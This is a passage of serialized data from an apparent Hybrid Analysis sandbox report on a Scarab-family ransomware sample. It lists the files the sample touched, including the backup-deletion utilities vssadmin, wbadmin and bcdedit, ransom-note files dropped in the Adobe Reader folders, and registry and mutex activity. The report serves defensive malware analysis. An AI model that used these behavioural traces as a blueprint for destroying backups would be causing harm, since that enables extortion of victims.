32\\en-US\\ieframe.dll.mui","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%WINDIR%\\System32\\wshom.ocx","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%WINDIR%\\System32\\scrrun.dll","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"C:\\Windows","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%WINDIR%\\System32","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\cversions.1.db","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches\\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x000000000000000c.db","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%USERPROFILE%\\Desktop\\desktop.ini","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%WINDIR%\\System32\\en-US\\propsys.dll.mui","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%WINDIR%\\System32\\cmd.exe","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%WINDIR%\\Fonts\\StaticCache.dat","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%WINDIR%\\System32\\wbem\\WMIC.exe","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%WINDIR%\\System32\\wbadmin.exe","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%WINDIR%\\System32\\en-US\\cmd.exe.mui","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%WINDIR%\\AppPatch\\sysmain.sdb","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%WINDIR%\\System32\\bcdedit.exe","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%WINDIR%\\System32\\vssadmin.exe","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%WINDIR%\\System32\\en-US\\wbadmin.exe.mui","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%WINDIR%\\System32\\en-US\\setupapi.dll.mui","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%WINDIR%\\Logs","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%WINDIR%\\System32\\en-US\\vssadmin.exe.mui","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%WINDIR%\\System32\\en-US\\KernelBase.dll.mui","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%WINDIR%\\System32\\blbres.dll","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%WINDIR%\\System32\\en-US\\blbres.dll.mui","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%WINDIR%\\System32\\rsaenh.dll","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%WINDIR%\\Globalization\\Sorting\\SortDefault.nls","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%WINDIR%\\Logs\\WindowsBackup\\Wbadmin.3.etl","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%WINDIR%\\Logs\\WindowsBackup\\Wbadmin.2.etl","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%WINDIR%\\Logs\\WindowsBackup\\Wbadmin.1.etl","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"C:\\autoexec.bat","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"C:\\IF YOU WANT TO GET ALL YOUR FILES BACK, PLEASE READ THIS.TXT","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Liesmich.htm","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\IF YOU WANT TO GET ALL YOUR FILES BACK, PLEASE READ THIS.TXT","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\ReadMe.htm","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\Adobe.Reader.Dependencies.manifest","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\IF YOU WANT TO GET ALL YOUR FILES BACK, PLEASE READ THIS.TXT","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\AGMGPUOptIn.ini","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\cryptocme.sig","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\PDFSigQFormalRep.pdf","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\pmd.cer","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\RTC.der","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\AcroExt\\cef.pak","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\AcroExt\\IF YOU WANT TO GET ALL YOUR FILES BACK, PLEASE READ THIS.TXT","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\AcroExt\\locales\\en-US.pak","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\AcroExt\\locales\\IF YOU WANT TO GET ALL YOUR FILES BACK, PLEASE READ THIS.TXT","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\AIR\\nppdf32.DEU","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\AIR\\IF YOU WANT TO GET ALL YOUR FILES BACK, PLEASE READ THIS.TXT","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\Browser\\nppdf32.DEU","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\Browser\\IF YOU WANT TO GET ALL YOUR FILES BACK, PLEASE READ THIS.TXT","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\IDTemplates\\DEU\\AdobeID.pdf","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\IDTemplates\\DEU\\IF YOU WANT TO GET ALL YOUR FILES BACK, PLEASE READ THIS.TXT","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\IDTemplates\\DEU\\DefaultID.pdf","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\IDTemplates\\ENU\\AdobeID.pdf","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\IDTemplates\\ENU\\IF YOU WANT TO GET ALL YOUR FILES BACK, PLEASE READ THIS.TXT","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\IDTemplates\\ENU\\DefaultID.pdf","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\Javascripts\\JSByteCodeWin.bin","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\Javascripts\\IF YOU WANT TO GET ALL YOUR FILES BACK, PLEASE READ THIS.TXT","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\Legal\\DEU\\eula.ini","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\Legal\\DEU\\IF YOU WANT TO GET ALL YOUR FILES BACK, PLEASE READ THIS.TXT","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"path":"%PROGRAMFILES%\\Adobe\\Reader 11.0\\Reader\\Legal\\DEU\\license.html","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\SAMPLE_5AD64C399A911230FA2FC0E7_RASAPI32\\","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\SYSTEMS_RASAPI32\\","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"key":"HKLM\\BCD00000000\\OBJECTS\\{72D3F4C1-B53F-11E4-B6D9-9157CA704B30}\\ELEMENTS\\16000009\\","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"key":"HKLM\\BCD00000000\\OBJECTS\\{72D3F4C1-B53F-11E4-B6D9-9157CA704B30}\\ELEMENTS\\250000E0\\","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]}],"keys_modified":null,"keys_deleted":[{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\PROXYBYPASS\\PROXYBYPASS","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\PROXYBYPASS\\PROXYBYPASS","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\INTRANETNAME\\INTRANETNAME","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\\INTRANETNAME\\INTRANETNAME","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]}]},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCounterMutex","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZoneAttributeCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"name":"Local\\ZoneAttributeCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"name":"Local\\ZonesCounterMutex","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\hezOH","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"name":"hezOH","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\!PrivacIE!SharedMemory!Mutex","sources":[{"report_type":"sandbox","report_id":"5ad7923e7ca3e153c45c1346"}]}]}},"report_ids":{"sandbox_job_ids":["5ad7923e7ca3e153c45c1346"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Ransom.Scarab.Generic Sample f0b52c82f259… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample f0b52c82f259…. Malware family: Ransom.Scarab.Generic. Threat score 100/100. 19/26 AV engines flagged this file. 5 malicious and 27 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/f0b52c82f2590f24ca7c93990ffe62583b66209fcffd29d89f42e0ac1781beed"}],["$","meta","4",{"property":"og:title","content":"Malicious Ransom.Scarab.Generic Sample f0b52c82f259… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample f0b52c82f259…. Malware family: Ransom.Scarab.Generic. Threat score 100/100. 19/26 AV engines flagged this file. 5 malicious and 27 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/f0b52c82f2590f24ca7c93990ffe62583b66209fcffd29d89f42e0ac1781beed"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Ransom.Scarab.Generic Sample f0b52c82f259… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample f0b52c82f259…. Malware family: Ransom.Scarab.Generic. Threat score 100/100. 19/26 AV engines flagged this file. 5 malicious and 27 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L34","11",{}]]